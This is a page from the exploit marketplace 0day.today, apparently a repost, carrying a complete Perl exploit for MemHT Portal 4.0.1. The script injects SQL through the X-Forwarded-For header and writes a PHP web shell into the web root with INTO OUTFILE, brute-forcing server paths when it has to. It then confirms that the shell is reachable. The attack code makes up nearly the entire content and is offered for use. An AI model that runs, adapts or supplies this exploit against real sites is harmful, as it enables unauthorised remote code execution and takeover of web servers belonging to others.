0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MemHT Portal 4.0.1 SQL Injection Code Execution Exploit
======================================================= MemHT Portal 4.0.1 SQL Injection Code Execution Exploit ======================================================= #!/usr/bin/perl =about MemHT 4.0.1 Perl exploit AUTHOR discovered & written by Ams ax330d VULN. DESCRIPTION: Due to weak params filtering we are able to make SQL-Injection. So, 1. Look at 'inc/ajax/ajax_rating.php', line ~ 29. It is not enough to check whether script has been accessed from main file. Better define some value. 2. 'inc/inc_login.php' line ~ 35. Here we are able to send and bypass any IP. That eregi does not help, look at exploit in injection, comma is the last one. As proof this exploit creates simple shell. REQUIREMENTS: MySQL should be able to write to file Know full server path to portal =cut use strict; use warnings; use IO::Socket; print " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MemHT portal 4.0.1 Perl exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "; my $expl_url = shift or &usage; my $serv_path = shift || '-b'; my $def_shell = '/uploads/file/files.php'; # Simple concept shell my $shell = '<?php @eval($_GET[cmd]);'; my @paths = qw( /var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts /home/www /home/httpd/vhosts /usr/local/apache/htdocs /www/htdocs ); @paths = ( $serv_path ) unless $serv_path eq '-b'; exploit( $expl_url ); sub exploit { # Defining vars. $_ = shift; $_ .= '/' unless substr($_, -1) eq '/'; print "\n\tExploiting:\t $_\n"; my($packet, $rcvd, $injection); my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?}; # Trying to get /lang/english.php to get server path $packet = "POST $path/lang/english.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $rcvd = send_pckt($host, $packet, 1); die "\n\tUnable to connect to $host!\n\n" unless $rcvd; if( $rcvd =~ /Undefined variable:/ ) { @paths = ($rcvd =~ m#\s+in\s+(.*?)${path}lang/english.php#); print "\n\tFound path:\t $paths[-1]\n"; } else { print "\n\tStarting bruteforce...\n"; } # Some bruteforce here if path is not defined for $serv_path ( @paths ) { $injection = "' UNION SELECT '$shell' INTO OUTFILE '$serv_path$path$def_shell'-- /*,"; print "\n\tTesting:\t $serv_path$path$def_shell ...\n"; # Sending poisoned request $packet = "GET $path/inc/ajax/ajax_rating.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "X-Forwarded-For:$injection\r\n"; $packet .= "Referer:http://$host$path/index.php\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; send_pckt($host, $packet, 1) or die "\n\tUnable to connect to http://$host!\n\n"; } # Checking for shell presence $packet = "HEAD $path$def_shell HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $rcvd = send_pckt($host, $packet, 1); if( ! $rcvd) { print "\n\tUnable to connect to $host\n\n"; exit; } if( $rcvd =~ /200\s+OK/ ) { print "\n\tExploited:\t http://$host$path$def_shell\n\n"; } else { print "\n\tExploiting failed.\n\n"; } } sub send_pckt() { my $dat; my ($host, $packet, $ret) = @_; my $socket = IO::Socket::INET->new( Proto => 'tcp', PeerAddr => $host, PeerPort => 80 ); if( ! $socket) { return 0; } else { print $socket $packet; if( $ret ) { local $/; $dat = <$socket>; } close $socket; return $dat; } } sub usage { print "\n\tUsage:\t$0 http://site.com [-b|full server path] By default exlpoit checks /lang/english.php for errors to get real path, If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ). Example:\t$0 http://localhost/ /var/www/htdocs $0 http://localhost/ -b $0 http://localhost/\n\n"; exit; } # 0day.today [2024-12-26] #